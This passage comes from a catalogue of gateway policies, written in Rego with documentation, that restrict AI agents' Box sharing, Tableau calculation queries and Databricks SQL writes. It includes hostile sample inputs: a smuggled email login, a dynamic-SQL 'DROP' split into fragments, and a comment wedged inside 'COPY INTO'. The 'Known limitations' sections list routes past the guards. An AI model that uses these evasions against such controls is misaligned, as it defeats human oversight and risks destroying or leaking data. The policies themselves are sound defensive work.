fail closed below is_collab_tool if endswith(tool_name, "_by_user_id_tool") # Community server: group grants — no login, fail closed below is_collab_tool if endswith(tool_name, "_by_group_id_tool") # Community server: role/status update on an existing collaboration is_collab_tool if endswith(tool_name, "box_collaboration_update_tool") # Community server: folder-level collaboration setter is_collab_tool if endswith(tool_name, "set_collaboration_tool") # --- Shared-link tools (both dialects) --------------------------------------- # Official hosted server is_shared_link_tool if endswith(tool_name, "add_file_shared_link") is_shared_link_tool if endswith(tool_name, "add_folder_shared_link") # Community server: file / folder / web-link create-or-update mirrors is_shared_link_tool if { contains(tool_name, "shared_link") endswith(tool_name, "create_or_update_tool") } # --- Argument extraction ------------------------------------------------------ # Invitee email login. Official server: `accessible_by.login`; community # server: `user_login`. Undefined when neither carries a non-empty string — # which makes the collaboration allow rule below fail closed. collab_login := login if { login := object.get(object.get(args, "accessible_by", {}), "login", "") login != "" } collab_login := login if { object.get(object.get(args, "accessible_by", {}), "login", "") == "" login := object.get(args, "user_login", "") login != "" } # True when `login` is a well-formed email whose domain is on the corporate # allowlist. Requires exactly one `@` so crafted logins such as # `mallory@evil.com@example.com` cannot smuggle an approved suffix. login_domain_allowed(login) if { parts := split(lower(trim_space(login)), "@") count(parts) == 2 parts[1] in allowed_domains } # True when the shared link would be an anonymous public URL. shared_link_is_open if { lower(trim_space(object.get(args, "access", ""))) == "open" } # True when a shared-link call carries an `access` value that is present but not # a string (e.g. `{"value":"open"}` or `["open"]`). trim_space/lower cannot run # on a non-string, so without this guard `shared_link_is_open` is undefined and # the call would pass through — a fail-open. Treat a present-but-non-string # `access` as malformed/evasive and fail closed. A wholly absent `access` is NOT # malformed: it still passes (Box enterprise default; see Known limitations). shared_link_access_malformed if { access := object.get(args, "access", null) access != null not is_string(access) } # --- Allow rules -------------------------------------------------------------- # Pass through every tool that is not a Box sharing surface. allow if { not is_collab_tool not is_shared_link_tool } # InfoSec break-glass: exempt callers bypass both checks. allow if { is_exempt_caller } # Collaboration grants: allowed only when an email login is present AND its # domain is on the corporate allowlist. Id-based/group grants and role-only # updates carry no login, so this rule cannot fire — fail closed. allow if { is_collab_tool login_domain_allowed(collab_login) } # Shared links: allowed unless the link is public (`open`). `company` and # `collaborators` — and a missing `access` field (Box enterprise default, # see Known limitations) — pass through. allow if { is_shared_link_tool not shared_link_is_open not shared_link_access_malformed } # --- Deny reasons ------------------------------------------------------------- reasons contains msg if { is_collab_tool not is_exempt_caller login := collab_login not login_domain_allowed(login) msg := sprintf("Box collaboration with '%s' is blocked: the invitee's email domain is not on the approved corporate domain list. Invite a corporate account instead, or ask your InfoSec team to approve the domain.", [login]) } reasons contains "This Box collaboration grant carries no invitee email login (id-based, group, or role-only grant), so the external-domain check cannot run and the request fails closed. Re-issue the grant with the invitee's email login, or ask your InfoSec team to run it." if { is_collab_tool not is_exempt_caller not collab_login } reasons contains "Public 'open' Box shared links are blocked because they mint an anonymous URL visible outside the organization. Use 'company' or 'collaborators' access instead. Contact your InfoSec team if you need a public link." if { is_shared_link_tool not is_exempt_caller shared_link_is_open } reasons contains "This Box shared-link call has a malformed 'access' value (not a string), so the public-link check cannot run and the request fails closed. Re-issue with access set to 'company' or 'collaborators'." if { is_shared_link_tool not is_exempt_caller shared_link_access_malformed } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard Calculation Expressions in Tableau VDS Queries URL: https://www.intentbasedpolicy.com/policies/tableau/guard-query-calculation App(s): tableau | Direction: ingress | Bundles: soc2 | Package: tableau.ingress.guard_query_calculation | Published: 2026-07-12 | Tags: tableau, guard-warehouse-sql, ingress, calculation, vizql, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/tableau/guard-query-calculation/policy.md # tableau / guard-query-calculation **Direction:** ingress (`tool_pre_invoke`) **Default:** deny when a non-analyst query carries a calculation expression, allow otherwise **Package:** `tableau.ingress.guard_query_calculation` ## What it does Inspects the structured VizQL Data Service (VDS) query carried by Tableau's `query-datasource` tool and denies the call for callers **outside the `data-analysts` group** whenever any entry in `query.fields[]` or `query.filters[]` carries a `calculation`. The VDS query is normally highly policable: fields are named by `fieldCaption`, which gives column-level matching, and `datasourceLuid` gives a clean scope dimension (see the companion `fence-datasource-scope` LUID allowlist). The `calculation` field variant is the exception — it accepts an **arbitrary Tableau calc expression that can reference any column in the datasource**, regardless of which fields the rest of the query names. That defeats column-level (`fieldCaption`) allowlisting and any assumption about which columns are exposed. It is Tableau's analogue of a raw-SQL / DAX surface, so the mere presence of a calculation is treated as **elevated** and confined to the `data-analysts` group. Two properties matter for correctness: - **Fail safe on a missing or empty query.** Both arrays are read through `object.get` chains with `{}`/`[]` defaults, so a call with no `query` object, an empty `query`, or empty `fields`/`filters` arrays carries no calculation, `calc_present` is false, and the call is **allowed**. Absence of a calculation never denies. - **Calculations hide in nested field slots too.** In the VDS schema a `calculation` can appear directly on a `fields[]` entry, under a filter's `field` sub-object (`{ "field": { "calculation": … }, "filterType": … }`), and under a **TOP-N filter's `fieldToMeasure`** sub-object — `field` and `fieldToMeasure` are the *same* FilterField union, so either accepts an arbitrary calc. Rather than enumerate positions (which would leave a bypass open the moment Tableau adds another nested field slot), the policy `walk`s the whole `query` object and flags a `calculation` key at **any depth**, so a calc smuggled into a filter, a `fieldToMeasure`, or any future nesting is caught. Callers whose IdP-issued `groups` claim includes `data-analysts` are exempt and may use calculations freely. The exemption is read through an `object.get` chain that **fails closed** — a caller with no claims, or no `groups` claim, is treated as having no groups and is therefore subject to the deny. This runs at ingress, before the query reaches the VDS engine, so an arbitrary-expression query from a non-analyst never executes and never returns row-level data. ## Compliance alignment - **SOC 2 CC6.3** — supports role-based, least-privilege access on the agent channel: the arbitrary-expression (`calculation`) escape hatch that would let any caller read any column of a published datasource is confined to the `data-analysts` group, while ordinary callers are held to the declared `fieldCaption` columns a companion allowlist can police. **CC6.1** — supports logical access security over the datasource read path by keeping the raw-expression surface off the default agent path. - **GDPR Art. 5(1)(c)** — supports data minimisation on the agent channel: a `calculation` can pull or derive any personal-data column irrespective of the columns the query otherwise names, so blocking it for non-analysts keeps ordinary agent callers to the declared, minimal set of fields. ## Tool name matching The policy matches the VDS query tool by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized): - `*-query-datasource` — the official `tableau/tableau-mcp` VizQL Data Service query tool (kebab-case, no vendor prefix). The landscape note flags the generic single-word suffixes (`list-users`, `search-content`) as collision risks, so this policy anchors on the distinctive `-query-datasource` suffix. Every other Tableau tool (`get-datasource-metadata`, `list-datasources`, `get-view-data`, the Pulse and admin-insights readers, the mutation tools, etc.) does not end with `-query-datasource` and passes through untouched — this policy is single-purpose. Verify the exact tool name your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape The query is read from `input.payload.args.query` (the verified VDS argument key for `query-datasource`; `datasourceLuid` and `limit` are siblings this policy does not inspect). Within it, `query.fields[]` entries have the shape `{fieldCaption, function?, calculation?, sortDirection?, …}` and `query.filters[]` entries carry a `field` sub-object (and, for the TOP-N variant, a `fieldToMeasure` sub-object) plus filter-variant keys. The policy treats the query as elevated when a `calculation` key with a non-null value appears **anywhere in the query object at any depth** — a full recursive walk, not a fixed set of positions — so it does not matter which field slot the calc rides in. A non-object array element (e.g. a bare string in `fields[]`) carries no `calculation` key and does not deny. ## Examples ### Allowed — fieldCaption-only query, non-analyst caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-mcp-query-datasource", "type": "tool" }, "subject": { "claims": { "groups": ["marketing"] } }, "payload": { "name": "tableau-mcp-query-datasource", "args": { "datasourceLuid": "abc-123", "query": { "fields": [{ "fieldCaption": "Region" }, { "fieldCaption": "Sales" }], "filters": [{ "field": { "fieldCaption": "Region" }, "filterType": "SET", "values": ["West"] }] } } } } } ``` `allow = true` — no calculation anywhere in the query. ### Allowed — missing query object fails safe ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-mcp-query-datasource", "type": "tool" }, "subject": { "claims": { "groups": ["marketing"] } }, "payload": { "name": "tableau-mcp-query-datasource", "args": { "datasourceLuid": "abc-123" } } } } ``` `allow = true` — no `query` means no calculation to detect. ### Denied — calculation in fields[], non-analyst caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "tableau-mcp-query-datasource", "type": "tool" }, "subject": { "claims": { "groups": ["marketing"] } }, "payload": { "name": "tableau-mcp-query-datasource", "args": { "datasourceLuid": "abc-123", "query": { "fields": [ { "fieldCaption": "Region" }, { "calculation": "SUM([Salary]) / SUM([Headcount])", "fieldAlias": "avg_salary" } ] } } } } } ``` `allow = false` with the calculation reason. ### Allowed — same calculation query by a data-analysts caller The identical fields-with-calculation call succeeds when `input.subject.claims.groups` contains `data-analysts`. ## Composition This policy blocks the arbitrary-expression surface of VDS queries. Useful companions: - **PF-23 `fence-datasource-scope`** — deny `query-datasource` unless `datasourceLuid` is in the caller group's approved list. This policy and that one are complementary: the LUID allowlist controls *which datasource*, this controls *whether arbitrary expressions* may run against it. - **PF-02 egress PII/PAN redaction** on `query-datasource` / `get-view-data` results, since even a permitted `fieldCaption` query can return regulated row-level data. - **Admin-insights lockdown** and **token-management deny** for the other sensitive Tableau surfaces this policy does not touch. ## Known limitations - **Key match is case-sensitive (and exact).** The VDS API uses the lowercase key `calculation`; the policy matches that exact key (JSON keys are case-sensitive). A hand-crafted payload using a differently-cased key (`Calculation`) or a non-ASCII look-alike/homoglyph key would not be a valid VDS query — the server recognizes only the lowercase `calculation` field, so a field entry keyed otherwise carries no valid `fieldCaption`/`calculation` and the server rejects it before it executes. The guard would not flag such a payload (fail-open for the guard, not a data leak of a query the server would run) — rely on the server's schema validation as the backstop. See the "mis-cased Calculation key" test case, which pins this behavior. - **Query must be a JSON object, not a stringified blob.** The policy `walk`s `input.payload.args.query` as a structured object. If a client passed the query as *stringified* JSON (`"query": "{\"fields\":[{\"calculation\": …}]}"`), `walk` sees an opaque scalar with no `calculation` key, `calc_present` is false, and the call is **allowed** unguarded. The official VDS `query-datasource` schema declares `query` as an object (zod `.object`), so the Tableau server rejects a string-typed query before it executes — rely on that server-side schema validation as the backstop, exactly as with the case-sensitive-key limitation above (fail-open for the guard, not a data leak of a payload the server would run). See the "allowed — stringified query" test case. - **Presence, not semantics.** The policy denies on the *presence* of a calculation, not on what the expression does. A trivial constant calculation (`"1"`) is denied for non-analysts just like a cross-column one — this is intentional fail-safe elevation, since the policy cannot safely parse arbitrary Tableau calc syntax. Analysts are the intended escape valve. - **Single tool.** Only `-query-datasource` is guarded. `get-view-data` / `get-custom-view-data` return a view's underlying data as CSV keyed on an opaque `viewId` with no expression surface to inspect at ingress — govern those with datasource/view scoping and egress redaction instead. Tableau Next's `analyze_data` (a disjoint Salesforce-hosted server) is not covered by this policy. - **No batch surface.** The official Tableau server exposes no raw-API passthrough or batch tool, so there is no composite endpoint that could carry a hidden `query-datasource` call past this suffix match. - **Suffix match assumes a server prefix.** The guard fires only when the tool name *ends with* `-query-datasource` (with the leading hyphen). This relies on the gateway exposing the tool as `-query-datasource`. If a deployment somehow surfaced the bare name `query-datasource` with no prefix, the suffix would not match and the query would pass **unguarded** (fail-open for the guarded tool, not a data leak of a blocked payload). This is the portability trade-off the whole suffix-match family accepts; confirm the exact tool name your gateway sends with the dump-input debug technique before relying on this policy. See the "allowed — bare tool name" test case, which documents this behavior. - **Group names are placeholders** — replace `data-analysts` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups`; on Auth0 tenants without RBAC/permissions configured, no `groups` claim reaches the policy and the exemption never fires (fail-closed — every caller is barred from calculations until the claim is wired up). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package tableau.ingress.guard_query_calculation # Deny-by-default: a `query-datasource` call from a non-analyst is permitted only # when its VDS query carries no calculation expression. Every other tool, and # every calculation-free query, is allowed. default allow := false # --- Guarded tool ------------------------------------------------------------ # Match the VizQL Data Service query tool by its distinctive suffix. The gateway # prefixes tool names with the configured MCP server name (not standardized), so # a suffix match keeps the policy portable. The landscape note warns that generic # single-word suffixes collide across servers, so we anchor on `-query-datasource`. # resource.name is read through an object.get chain so a missing resource object # never makes the rule error — it just does not match. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) is_query_tool if { endswith(tool_name, "-query-datasource") } # --- Calculation detection --------------------------------------------------- # Read the structured VDS query with fail-safe defaults: a missing # `payload`/`args`/`query` yields an empty object, so `calc_present` never fires # and the call is allowed (absence of a calculation never denies). Every hop uses # object.get so a missing intermediate object cannot make a rule error out. args := object.get(object.get(input, "payload", {}), "args", {}) query := object.get(args, "query", {}) # A `calculation` is Tableau's arbitrary-expression escape hatch, and the VDS # schema admits it in several positions: directly on a `fields[]` entry # (`{calculation: …}`), under a filter's `field` sub-object, and under a TOP-N # filter's `fieldToMeasure` sub-object — both `field` and `fieldToMeasure` are the # same FilterField union that accepts `{calculation: …}`. Enumerating positions # invites a whack-a-mole bypass every time Tableau adds a nested field slot, so # instead we `walk` the entire query object and treat the query as elevated when a # `calculation` key with a non-null value appears anywhere at any depth. walk keys # on the structural key *name*, so a column literally *named* "calculation" # (a value carried under a `fieldCaption` key) is not matched — only a real # `calculation:` key is. `count(path) > 0` skips the root node. calc_present if { walk(query, [path, value]) count(path) > 0 path[count(path) - 1] == "calculation" value != null } # --- Identity exemption ------------------------------------------------------ # Callers in the `data-analysts` IdP group may use arbitrary calculations. The # object.get chain fails closed — a missing `subject`, missing `claims`, or # missing `groups` claim yields an empty list, so an unauthenticated/unclaimed # caller is never exempt. The is_array guard means a `groups` claim that is a # bare string (or any non-array shape) yields no memberships and also fails # closed. Group name compared case-insensitively. caller_groups := object.get( object.get(object.get(input, "subject", {}), "claims", {}), "groups", [], ) is_analyst if { is_array(caller_groups) some g in caller_groups is_string(g) lower(g) == "data-analysts" } # --- Allow rules ------------------------------------------------------------- # Any tool that is not the VDS query tool passes through. allow if { not is_query_tool } # Data analysts may run calculation queries. allow if { is_query_tool is_analyst } # Ordinary callers may run the query only when it carries no calculation. allow if { is_query_tool not is_analyst not calc_present } # --- Deny reason ------------------------------------------------------------- reasons contains "This Tableau VizQL Data Service query includes a calculation field, which accepts an arbitrary Tableau calc expression that can reference any column in the datasource and bypasses column-level (fieldCaption) allowlisting. Arbitrary calculations are restricted to the data-analysts group on the agent MCP path. Re-issue the query using only fieldCaption fields and standard filters, or ask a member of the data-analysts group to run it. If you need calculation access, contact your data platform team." if { is_query_tool not is_analyst calc_present } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard Databricks SQL Against Writes and DDL URL: https://www.intentbasedpolicy.com/policies/databricks/guard-warehouse-sql App(s): databricks | Direction: ingress | Bundles: soc2, pci-dss, sox | Package: databricks.ingress.guard_warehouse_sql | Published: 2026-07-12 | Tags: databricks, guard-warehouse-sql, ingress, sql, readonly, pci-dss, sox, soc2 Source: https://github.com/dtwoai/policy-store/blob/main/apps/databricks/guard-warehouse-sql/policy.md # databricks / guard-warehouse-sql **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on a write/DDL/permission/export statement (and fail closed on a missing SQL argument), allow otherwise **Package:** `databricks.ingress.guard_warehouse_sql` ## What it does Inspects the SQL statement string that Databricks SQL-executing tools carry in their argument and denies any statement that performs a write, schema change, permission change, or bulk export — `INSERT`, `UPDATE`, `DELETE`, `MERGE`, `DROP`, `TRUNCATE`, `ALTER`, `CREATE`, `GRANT`, `REVOKE`, `DENY` (the legacy table-ACL permission statement), a `COPY INTO` or `LOAD DATA` export/ingest construct, the Delta-specific `VACUUM` (permanent file purge), `RESTORE` (revert-to-version), and `REORG` (whose `APPLY (PURGE)` form permanently purges data files, defeating time-travel recovery just as `VACUUM` does) statements, or an `EXECUTE IMMEDIATE` dynamic-SQL construct (which can reassemble a hidden write from string fragments). Read-only statements — `SELECT`, `SHOW`, `DESCRIBE`, `EXPLAIN`, and anything matching none of those keywords — pass through. This matters because the managed Databricks SQL server's `execute_sql` tool is explicitly **read AND write**: a single agent call can run `INSERT`/`UPDATE`/ `DELETE`/`DROP`/`GRANT` and make irreversible data-plane or permission changes. The community servers (`RafaelCartenet`'s `execute_sql_query`, `JustTryAI`'s `execute_sql`) ship **no server-side read-only guard** at all — a PAT with write grants turns either into a write tool. This policy puts the read-only guarantee on the SQL text itself, so it holds regardless of which server is behind the gateway or how its credentials are scoped. The effect is to make any guarded Databricks SQL tool **effectively read-only for ordinary agent callers**. When a caller needs to write, the denial reason directs the agent to re-issue the query through the managed `execute_sql_read_only` tool (which the SQL server exposes for exactly this purpose), or to route the change through the `data-engineering` team. Callers whose IdP-issued `groups` claim includes `data-engineering` are exempt, so the data-engineering team can still run writes and DDL over the agent path. The exemption is read through an `object.get` chain that **fails closed** — a caller with no claims, or no `groups` claim, is treated as having no groups and is therefore subject to the deny. **Fail closed on a missing SQL argument.** If a guarded SQL tool is called with no readable statement string (the argument is absent, empty, or a non-string), the guard cannot confirm the call is read-only, so it **denies** rather than letting a malformed call slip past the verb check. This runs at ingress, before the statement reaches Databricks, so a blocked `DROP`/`DELETE`/`GRANT` never executes. ## Compliance alignment - **PCI DSS 7.2.6** — supports restricting *programmatic query access to stored cardholder data by role*: mutating access to lakehouse data over the MCP path is confined to the `data-engineering` group, and every other caller is read-only. - **GDPR Art. 5(1)(c)** — supports *data minimisation* on the agent channel by preventing the agent from writing, restructuring, or bulk-exporting personal data held in the lakehouse; only read-only access remains for ordinary callers. - **SOX §802 / 18 U.S.C. §1519** — supports the *anti-destruction/alteration of records* control by blocking `DROP`/`TRUNCATE`/`DELETE`/`UPDATE` against financially relevant lakehouse tables on the agent channel. - **SOC 2 CC8.1** — supports *change management* by preventing the agent from making unreviewed schema/DDL changes (`CREATE`/`ALTER`/`DROP`) to production data structures outside a controlled `data-engineering` path. ## Tool name matching The policy matches every SQL-executing tool across the Databricks MCP servers by **suffix** (the gateway prefixes tool names with the configured MCP server name, which is not standardized), sharing the `execute_sql` / `execute_sql_query` stem the landscape note recommends matching on: - `*execute_sql` — Databricks managed SQL server (read + write) **and** the `JustTryAI/databricks-mcp-server` community tool of the same name (a name collision the shared suffix intentionally catches) - `*execute_sql_read_only` — Databricks managed SQL server's read-only tool (guarded too, for defense in depth; a read-only SELECT still passes) - `*execute_sql_query` — `RafaelCartenet/mcp-databricks-server` community tool (`execute_sql_query(sql)`), which has no server-side read-only guard **Genie is out of scope.** The Genie tools (`genie_ask`, `genie_poll_response`) take a natural-language question, not raw SQL — the agent never hands them a SQL string — so they do not match any suffix here and pass through untouched. The `poll_sql_result` egress tool (which carries the returned rows, not the statement) is likewise not this policy's concern. ## Argument shape The managed SQL tools and the community servers all carry the statement as a string. The policy reads it from `statement`, `sql`, and `query` (in that set) and inspects the concatenation of whichever string values are present — `execute_sql_query` uses `sql`; the managed tools' exact key is not published in the landscape note, so `statement`/`query` are inspected defensively. Only string values are considered; a non-string value yields no readable SQL, which on a guarded tool is denied fail-closed (see What it does). ## Examples ### Allowed — read-only SELECT ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql", "type": "tool" }, "payload": { "name": "databricks-sql-execute_sql", "args": { "statement": "SELECT id, created_at, updated_at FROM orders LIMIT 10" } } } } ``` `allow = true` — `created_at`/`updated_at` do not trip `CREATE`/`UPDATE` because the pattern is anchored on word boundaries. ### Allowed — SHOW/DESCRIBE metadata read ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql_read_only", "type": "tool" }, "payload": { "name": "databricks-sql-execute_sql_read_only", "args": { "statement": "DESCRIBE TABLE main.sales.orders" } } } } ``` `allow = true`. ### Denied — destructive DDL ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "databricks-sql-execute_sql", "type": "tool" }, "payload": { "name": "databricks-sql-execute_sql", "args": { "statement": "DROP TABLE main.sales.customers" } } } } ``` `allow = false` with the write/DDL reason. ### Allowed — break-glass data engineer The same `DROP TABLE` call succeeds when `input.subject.claims.groups` contains `data-engineering`. ## Composition This policy blocks statement-class mutation. Useful companions: - **PF-28 `default-deny-unknown-tools`** — allowlist the exact Databricks tool names the gateway exposes so a renamed or dynamically-named SQL tool (the managed servers also mint dynamic `{CATALOG}__{SCHEMA}__{NAME}` tools for AI Search / UC functions) cannot bypass the suffix match here. - **PF-14 `constrain-aggregator`** — Databricks ships `system.ai` MCP Services that proxy other SaaS apps; constrain that fan-out separately so it cannot become a side channel around per-app policy. - **PF-06 compute/ops lockdown** — deny `create_cluster`/`terminate_cluster`/ `run_job`/`export_notebook` (the community servers' compute surface) for non-platform callers. - **Egress PII/PAN redaction** on `poll_sql_result` / `genie_poll_response`, since a permitted `SELECT *` can still return regulated data — the rows egress in the poll response, not the submit call. ## Known limitations - **Regex over SQL text, not a parser.** The keyword match runs on the raw string. A mutating keyword inside a string literal or comment (e.g. `SELECT 'we will DROP this later'`) is a false positive; conversely, SQL that mutates without one of the listed keywords (a `CALL` to a UDF that writes) is a false negative. Treat this as a high-signal read-only guard, not a SQL firewall. - **Comment-injection splits the two-word constructs.** The multi-word matches (`COPY INTO`, `LOAD DATA`, `EXECUTE IMMEDIATE`) join their words with `\s+`, so a block comment wedged between them — `COPY /*x*/ INTO`, `LOAD /*x*/ DATA` — is not recognized and passes, since a comment is not whitespace. The single-word DML/DDL verbs are unaffected (a keyword token cannot contain a comment). This is the same "not a SQL parser" residual above; pin the tool with PF-28 if you need parser-grade coverage of the ingest constructs. - **`DENY`/`LOAD DATA` word false positives.** Because the scan is keyword-based, a read-only statement that uses `deny` or `reorg` as a bare column name (`SELECT deny FROM flags`, `SELECT reorg FROM t`) or the two identifiers `load data` back-to-back (`SELECT load data FROM t`, an implicit alias) is a false-positive deny — the same conservative trade-off already accepted for `GRANT`/`REVOKE`. `COMMENT` is deliberately excluded from this trade-off (see below) because `comment` columns are far more common. Escalate a false positive to your data platform team. - **Dynamic SQL is denied, not parsed.** `EXECUTE IMMEDIATE` runs a string expression, so `EXECUTE IMMEDIATE 'DR'||'OP TABLE x'` would reassemble a `DROP` that the keyword scan cannot see in the fragments. Because the construct cannot be proven read-only from the argument, the literal phrase `EXECUTE IMMEDIATE` is itself treated as mutating and denied fail-closed — including a legitimately read-only `EXECUTE IMMEDIATE 'SELECT …'`. Run dynamic SQL through the `data-engineering` group. A caller could still hide a write behind a non-`EXECUTE IMMEDIATE` executor (a UDF/`CALL` whose body writes); those carry no inspectable SQL and are out of scope — pin them with PF-28. - **Metadata-only and layout statements are not blocked.** `COMMENT ON` (which edits catalog metadata) and `OPTIMIZE`/`ZORDER` (which rewrite file layout without changing logical rows) pass through. `REORG` is *not* in this set — it is blocked, because its `APPLY (PURGE)` form permanently destroys data files; `ANALYZE ... COMPUTE STATISTICS` and `MSCK REPAIR` (stats/ partition metadata) do pass. `COMMENT` in particular is deliberately *not* a keyword: a `comment` column is extremely common (`SELECT comment FROM tickets`), so matching the bare word would be a heavy false-positive source. If your change-management scope requires blocking metadata edits, pin the tool with the PF-28 companion instead. - **Whitespace/non-executable statements pass.** A statement that is only whitespace or punctuation contains no mutating keyword and is allowed; it is also not executable SQL, so this is not an exploitable write path. - **UC function tools can hide writes.** Unity Catalog function tools (named after the function, not `execute_sql*`) run arbitrary function bodies that may write, and carry no inspectable SQL. They are out of scope here — pin them with the PF-28 companion. - **Managed SQL argument key is unverified.** The landscape note documents the managed `execute_sql`/`execute_sql_read_only` tools as taking "the SQL statement string" but does not publish the argument's name. The policy inspects `statement`/`sql`/`query`; if your managed server uses a different key, the call is denied fail-closed (missing-SQL branch) — add the real key to `sql_arg_keys`. - **Non-string SQL arguments.** Only string values under the inspected keys are read. A crafted non-string value (list/object) yields no readable SQL and is denied fail-closed rather than erroring the rule open. - **Group names are placeholders** — replace `data-engineering` with your IdP's group name at import time. The exemption reads `input.subject.claims.groups`; on Auth0 tenants without RBAC/permissions configured, no `groups` claim reaches the policy and the exemption never fires (fail-closed — everyone is read-only until the claim is wired up). > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package databricks.ingress.guard_warehouse_sql # Deny-by-default: a Databricks SQL tool call is permitted only when it carries # readable, read-only SQL, or the caller is an exempt data engineer. default allow := false # --- Tool matching ----------------------------------------------------------- # The gateway prefixes tool names with the configured MCP server name, so we # match on the suffix to stay portable. These are every SQL-executing tool across # the Databricks servers, sharing the `execute_sql` / `execute_sql_query` stem: # - `execute_sql` — managed SQL server (read + write) AND the # JustTryAI community tool (name collision — both # caught by the shared suffix, by design) # - `execute_sql_read_only` — managed SQL server's read-only tool (guarded too; # a read-only SELECT still passes) # - `execute_sql_query` — RafaelCartenet community tool (no server-side # read-only guard) # Genie tools (`genie_ask`, `genie_poll_response`) take natural language, not raw # SQL, so they do NOT end with any of these suffixes and pass through untouched. sql_tool_suffixes := [ "execute_sql", "execute_sql_read_only", "execute_sql_query", ] is_sql_tool if { name := lower(input.resource.name) some suffix in sql_tool_suffixes endswith(name, suffix) } # --- SQL extraction ---------------------------------------------------------- # `execute_sql_query` uses `sql`; the managed tools' exact key is not published, # so we inspect `statement`/`sql`/`query` and match the concatenation of whichever # string values are present. Only string values are considered — a crafted # non-string arg (list/object) yields no SQL, which on a guarded tool is denied # fail-closed below (see Known limitations). sql_arg_keys := ["statement", "sql", "query"] sql_text := concat(" ", [v | some key in sql_arg_keys v := object.get(input.payload.args, key, "") is_string(v) v != "" ]) # --- Mutating / destructive / export statement detection --------------------- # Case-insensitive `(?i)` and anchored on word boundaries `\b` so identifiers # like `created_at`, `updated_at`, or `merge_log` do not trip the keywords. # Covers DML/DDL/permission verbs plus the `COPY INTO` bulk export/ingest # construct (`\s+` allows any run of whitespace between the two words). An # `INSERT OVERWRITE DIRECTORY` exfil is already caught by the INSERT verb. # `VACUUM` (permanent Delta file purge — irreversible destruction that defeats # time-travel recovery), `RESTORE` (reverts a table to a prior version, # altering current data), and `REORG` (whose `APPLY (PURGE)` form permanently # purges underlying data files, the same time-travel-defeating destruction as # `VACUUM`) are Delta-specific mutation/destruction statements that # carry none of the DML/DDL verbs above, so they are matched explicitly. `REORG` # is matched as a bare verb (not just its `APPLY (PURGE)` clause) so a comment or # whitespace trick inside the clause cannot hide the purge — the same parser-free # stance taken for `VACUUM`; a benign non-purge `REORG` compaction is denied too # (route it through data-engineering). # `DENY` is the legacy Hive-metastore table-ACL permission statement (a # permission-plane change that GRANT/REVOKE don't cover), and `LOAD\s+DATA` is the # Spark/Hive data-ingest statement (a write parallel to `COPY INTO` — loads files # into a table) — both are matched so the permission/ingest surface has no gap. # `EXECUTE IMMEDIATE` is Databricks' dynamic-SQL executor: it runs a string # expression, so `EXECUTE IMMEDIATE 'DR'||'OP TABLE x'` reassembles a `DROP` the # keyword scan can't see in the fragments. The construct itself cannot be shown # read-only from the argument, so the literal phrase is matched and denied # fail-closed (a read-only `EXECUTE IMMEDIATE 'SELECT …'` is denied too — route it # through the data-engineering group; see Known limitations). mutating_pattern := `(?i)(\b(?:INSERT|UPDATE|DELETE|MERGE|DROP|TRUNCATE|ALTER|CREATE|GRANT|REVOKE|DENY|VACUUM|RESTORE|REORG)\b|\bCOPY\s+INTO\b|\bLOAD\s+DATA\b|\bEXECUTE\s+IMMEDIATE\b)` is_mutating_sql if { regex.match(mutating_pattern, sql_text) } # --- Identity exemption ------------------------------------------------------ # Break-glass: callers in the `data-engineering` IdP group may run writes/DDL. # The object.get chain fails closed — a missing `subject.claims` object or missing # `groups` claim yields an empty list, so an unauthenticated/unclaimed caller is # never exempt. A `groups` claim that is a bare string (not a list) also fails to # match, since `some g in ` iterates characters. caller_groups := object.get(object.get(input.subject, "claims", {}), "groups", []) is_exempt if { some g in caller_groups g == "data-engineering" } # --- Allow rules ------------------------------------------------------------- # Non-guarded tools (Genie, poll/list/describe helpers, anything not a SQL tool) # pass through untouched. allow if { not is_sql_tool } # Break-glass data engineers may run any statement on the SQL tools. allow if { is_sql_tool is_exempt } # Ordinary callers may run readable, read-only SQL. Requires the statement to be # present (fail closed on missing/empty) AND non-mutating. allow if { is_sql_tool not is_exempt sql_text != "" not is_mutating_sql } # --- Deny reasons ------------------------------------------------------------ reasons contains "This Databricks SQL statement performs a write, DDL, permission, or export operation (INSERT, UPDATE, DELETE, MERGE, DROP, TRUNCATE, ALTER, CREATE, GRANT, REVOKE, or COPY INTO) and is blocked on the agent MCP path, which is read-only. Re-issue it as a read-only statement (SELECT, SHOW, DESCRIBE, or EXPLAIN) through the execute_sql_read_only tool, or have a member of the data-engineering group run the change. If this was a false positive, contact your data platform team." if { is_sql_tool not is_exempt sql_text != "" is_mutating_sql } reasons contains "This Databricks SQL tool was called with no readable SQL statement, so the guard cannot confirm the call is read-only and blocks it fail-closed. Supply the statement as a string argument and re-issue read-only queries through the execute_sql_read_only tool, or route writes through the data-engineering group. If this was a false positive, contact your data platform team." if { is_sql_tool not is_exempt sql_text == "" } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Guard DAX Whole-Table Dumps in Power BI URL: https://www.intentbasedpolicy.com/policies/power-bi/guard-warehouse-sql-dax App(s): power-bi | Direction: ingress | Bundles: soc2, gdpr-ccpa | Package: power_bi.ingress.guard_warehouse_sql_dax | Published: 2026-07-12 | Tags: power-bi, guard-warehouse-sql, ingress, dax, exfiltration, soc2, gdpr-ccpa Source: 